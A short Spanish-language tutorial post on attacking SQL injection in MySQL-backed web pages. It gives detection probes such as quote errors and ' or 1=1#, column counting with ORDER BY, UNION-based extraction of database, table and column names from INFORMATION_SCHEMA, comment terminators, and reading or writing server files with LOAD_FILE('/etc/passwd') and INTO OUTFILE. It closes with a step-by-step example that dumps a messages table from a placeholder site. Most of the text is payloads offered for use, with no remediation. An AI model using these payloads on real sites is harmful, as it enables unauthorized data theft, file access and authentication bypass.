Este es un post para explicar como atacar SQLi.
Entonces que es SQLi? Es cuando puedes inyectar información directamente a la base de datos e interactuar con ella. Normalmente esto te permite ver cosas que no debes o borrarlas. Igual puedes brincar authentication (lo cual es muy malo)
SQLi puede estar en general en el URL o en alguna form.
Entonces como saber si hay SQLi?
//Genera un error abc'$"(# -1 // Cambia los resultados 1 AND 1=1 // nada pero lo acepta bien 1 AND 1=3 // ERROR 1' AND 1='1 ' or 1=1# //etc SELECT DATABASE()
Si ya lo encontraste puedes ver encontrar información particular haciendo:
SELECT DATABASE() // muestra la base de datos SELECT schema_name FROM INFORMATION_SCHEMA.schemata // lista de bases de datos SELECT table_name FROM INFORMATION_SCHEMA.tables// lista de tablas SELECT column_name FROM INFORMATION_SCHEMA.columns where table_name=[la tabla que quiero]// lista de columnas
Para saber el número de columnas
ORDER BY 1 # // siempre va a funcionar ORDER BY 2 # // hay q encontrar el número exacto ORDER BY [número gigante] // debe dar error
Para ver donde se muestran (es importante saber que no siempre se muestran todas las columnas)
[algo mal] UNION select 1,2,3,4,etc -1 union select databas(),user(),version(),etc
Leer muchas columnas al mismo tiempo
SELECT CONCAT (columna1,',',columna2) FROM [tabla] // concatena
Cuando solo puedes ver de 1 en 1
Limit by 1,1
Algunas veces necesitas terminar con un comentario.
---, #, /* // todo loq ue venga despues no sea aceptado
Otras puedes escribir o leer archivos (Muy bueno para ti, muy malo para la seguridad ja)
SELECT 'Hellow word 'INTO OUTFILE 'filename' // Escribir SELECT LOAD_FILE('/etc/passwd') // leer
Ejemplo real:
http://pagina.org/message.php?parametro=1 // pagina normal http://pagina.org/message.php?parametro=' // error Error executing SELECT name FROM thugs WHERE id = ': You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 http://pagina.org/message.php?parametro=-1 order by 1 // ok http://pagina.org/message.php?parametro=-1 order by 1000 // error http://pagina.org/message.php?parametro=-1 order by 2 // error (significa que solo tiene una columna) http://pagina.org/message.php?parametro= -1 union select "ric" // muestra el "ric" en algún lado // ahora veamos el nombre de las base de datos -1 union select database() // ahora el nombre de las tablas -1 union SELECT table_name FROM INFORMATION_SCHEMA.tables limit 40,1 // me da la que quería messages -1 union SELECT column_name from information_schema.columns where table_name='messages' // juego con los limits -1 union SELECT column_name from information_schema.columns where table_name='messages' limit 1,1 // encuentro la columna que quiero message // y ya, puedo leer los mensajes, que en esta caso era lo que quería -1 union select message from messages
https://dev.mysql.com/doc/refman/8.0/en/select.html